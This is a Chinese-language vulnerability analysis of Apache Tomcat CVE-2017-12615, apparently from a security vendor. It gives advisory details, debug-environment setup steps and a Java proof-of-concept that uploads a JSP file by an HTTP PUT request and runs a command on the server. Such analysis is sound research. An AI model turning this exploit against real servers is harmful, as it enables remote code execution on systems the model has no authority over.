Apache Tomcat CVE-2017-12615远程代码执行漏洞分析

2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞。中新网安将对该漏洞进行持续关注, 并第一时间为您更新相关漏洞信息。

漏洞编号

CVE-2017-12615

漏洞名称

Apache Tomcat 远程代码执行漏洞

漏洞评级

严重

影响范围

Apache Tomcat 7.0.0 - 7.0.79

漏洞分析

1. 创建调试环境

下载tomcat v7.0.79源码， http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/src/apache-tomcat-7.0.79-src.zip

解包后, 在解包根目录创建pom.xml文件, 添加如下内容

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat7.0.79</artifactId>
<name>Tomcat7.0.79 src</name>
<version>7.0.79</version>
...........
</project>

修改conf/web.xml, 添加如下内容

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

idea打开pom.xml文件

启动项配置如下

2. jsp后不添加内容

package com.zxsoft;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import com.sun.jersey.api.client.Client;
import com.sun.jersey.api.client.WebResource;
import sun.net.www.http.HttpClient;
public class tomcatExp{
public static void main(String[] args) throws Exception {
Socket s = new Socket("localhost", 8080);
OutputStream out = s.getOutputStream();
String sPayload = "<%Process proc = Runtime.getRuntime().exec(\"calc\");%>";
// payload1
String head = "PUT /upload/" + "1.jsp" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"
+ "Connection: keep-alive\r\n" + "Accept: text/html,application/xhtml+xml,application/xml,*/*\r\n"
+ "Accept-Encoding: gzip, deflate\r\n" + "Accept-Language: zh-CN\r\n" + "Content-Length: "
+ sPayload.length() + "\r\n" + "\r\n";
out.write(head.getBytes());
out.write(sPayload.getBytes(), 0, sPayload.length());
s.close();
}
}